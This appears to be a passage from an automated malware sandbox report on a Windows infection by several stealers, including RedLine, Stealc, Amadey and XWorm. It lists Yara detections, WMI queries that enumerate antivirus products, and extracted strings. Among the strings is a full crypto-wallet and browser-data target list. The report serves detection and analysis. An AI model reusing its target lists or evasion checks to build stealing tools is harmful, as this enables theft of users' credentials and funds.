Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004079F4 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 13_2_004079F4
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_0019B010 GetUserNameA, 16_2_0019B010
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_001D2307 _free,_free,_free,GetTimeZoneInformation,_free, 16_2_001D2307
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe Code function: 16_2_00197C40 GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo, 16_2_00197C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: gold.exe, 00000007.00000002.2695073102.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, crypted.exe, 0000001B.00000002.2912782673.0000000000C62000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: avp.exe
Source: axplong.exe, 00000006.00000003.2999105107.0000000001671000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3054813558.0000000001671000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.0000000001671000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3054813558.0000000001620000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3140584868.000000000167D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.2999421029.0000000001677000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.3138607330.0000000001620000.00000004.00000020.00020000.00000000.sdmp, gold.exe, 00000007.00000002.2695073102.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, crypted.exe, 0000001B.00000002.2912782673.0000000000C62000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: AVP.exe
Source: RegAsm.exe, 00000009.00000002.2958183657.000000000675C000.00000004.00000020.00020000.00000000.sdmp, hjhTHr6fWy.exe, 0000000F.00000002.3001121682.00000000069C9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 2.2.axplong.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.Nework.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.0.Hkbsse.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.Hkbsse.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.0.Hkbsse.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.d70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.Nework.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.Hkbsse.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.axplong.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.2137528658.00000000006D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2768105789.0000000000191000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000000.2765127201.0000000000211000.00000020.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000003.2660197463.0000000005270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2100199009.0000000000D71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2059876359.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.2092244359.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000000.2770476347.0000000000211000.00000020.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.3331845995.0000000000211000.00000020.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.2097277338.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2132657383.00000000006D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000000.2751757055.0000000000191000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2769327231.0000000000211000.00000020.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Nework[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe, type: DROPPED
Yara detected CryptOne packer
Source: Yara match File source: 00000016.00000002.2960319681.0000000003119000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: stealc_default2.exe PID: 528, type: MEMORYSTR
Yara detected PureLog Stealer
Source: Yara match File source: 24.0.penis.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000018.00000000.2860928710.0000000000CA2000.00000002.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\penis[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, type: DROPPED
Yara detected RedLine Stealer
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 7.2.gold.exe.37a5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.hjhTHr6fWy.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.gold.exe.37a5570.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.RegAsm.exe.436080.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.RegAsm.exe.436080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 27.2.crypted.exe.39e5570.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 35.0.newbundle2.exe.c20000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.2695505270.00000000037A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2858375876.0000000000421000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.3109509336.00000000028FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.2951592112.0000000000C41000.00000002.00000001.01000000.00000022.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.2955093646.0000000003A05000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.3088502787.0000000000423000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.2743413238.0000000000982000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2744142845.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: gold.exe PID: 2972, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 5580, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 1712, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: hjhTHr6fWy.exe PID: 1856, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: penis.exe PID: 7152, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: crypted.exe PID: 2956, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 6472, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Roaming\hjhTHr6fWy.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\newbundle2[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe, type: DROPPED
Yara detected Socks5Systemz
Source: Yara match File source: 00000017.00000002.3340691563.000000000279D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: fidovideorecorder32_64.exe PID: 3288, type: MEMORYSTR
Yara detected Stealc
Source: Yara match File source: 19.0.stealc_default2.exe.f50000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.needmoney.exe.30ea4b9.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.needmoney.exe.3740000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.needmoney.exe.3710000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.needmoney.exe.3710000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.needmoney.exe.30ea4b9.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.needmoney.exe.3740000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.stealc_default2.exe.f50000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000020.00000002.3006538986.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2994583849.000000000079E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000000.2774274390.0000000000F51000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2996521135.0000000000F51000.00000080.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.2972396756.0000000003740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.2971489446.0000000003710000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.2960319681.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: stealc_default2.exe PID: 528, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\stealc_default2[1].exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: Process Memory Space: stealc_default2.exe PID: 528, type: MEMORYSTR
Yara detected XWorm
Source: Yara match File source: 37.2.InstallUtil.exe.800000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 36.2.rstxdhuj.exe.4141590.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 36.2.rstxdhuj.exe.418fdb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000024.00000002.3118723302.0000000004141000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.3332091327.0000000000802000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.3009810672.0000000003211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected zgRAT
Source: Yara match File source: 24.0.penis.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\penis[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, type: DROPPED
Found many strings related to Crypto-Wallets (likely being stolen)
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ElectrumE#
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007E3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\\ElectronCash\wallets\\*.*
Source: hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002F1B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: $]q2C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: JaxxE#
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007E3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\window-state.json
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007E3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\\exodus.conf.jsonFD
Source: hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002F1B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: %appdata%\Exodus\exodus.walletLR]q$>
Source: stealc_default2.exe, 00000013.00000002.2994583849.000000000079E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco
Source: stealc_default2.exe, 00000013.00000002.3044045737.00000000271A5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: stealc_default2.exe, 00000013.00000002.2996721656.0000000000FBA000.00000004.00000001.01000000.00000012.sdmp String found in binary or memory: \jaxx\Local Storage\
Source: stealc_default2.exe, 00000013.00000002.3044045737.00000000271A5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json
Source: hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002F1B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: %appdata%\Ethereum\walletsLR]q
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ExodusE#
Source: hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002F1B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: $]q%appdata%`,]qdC:\Users\user\AppData\Roaming`,]qdC:\Users\user\AppData\Roaming\Binance
Source: RegAsm.exe, 00000009.00000002.2875623535.000000000332A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: EthereumE#
Source: stealc_default2.exe, 00000013.00000002.2996721656.0000000000FBA000.00000004.00000001.01000000.00000012.sdmp String found in binary or memory: file__0.localstorage
Source: hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002F1B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: $]q&%localappdata%\Coinomi\Coinomi\walletsLR]q
Source: hjhTHr6fWy.exe, 0000000F.00000002.2936243800.0000000002F1B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: $]q6C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*
Source: stealc_default2.exe, 00000013.00000002.2996721656.0000000000FBA000.00000004.00000001.01000000.00000012.sdmp String found in binary or memory: MultiDoge
Source: stealc_default2.exe, 00000013.00000002.2994583849.000000000079E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\seed.seco
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: stealc_default2.exe, 00000013.00000002.2994583849.000000000079E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\*.*L
Source: stealc_default2.exe, 00000013.00000002.2994583849.00000000007E3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum-LTC\wallets\\*.*
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
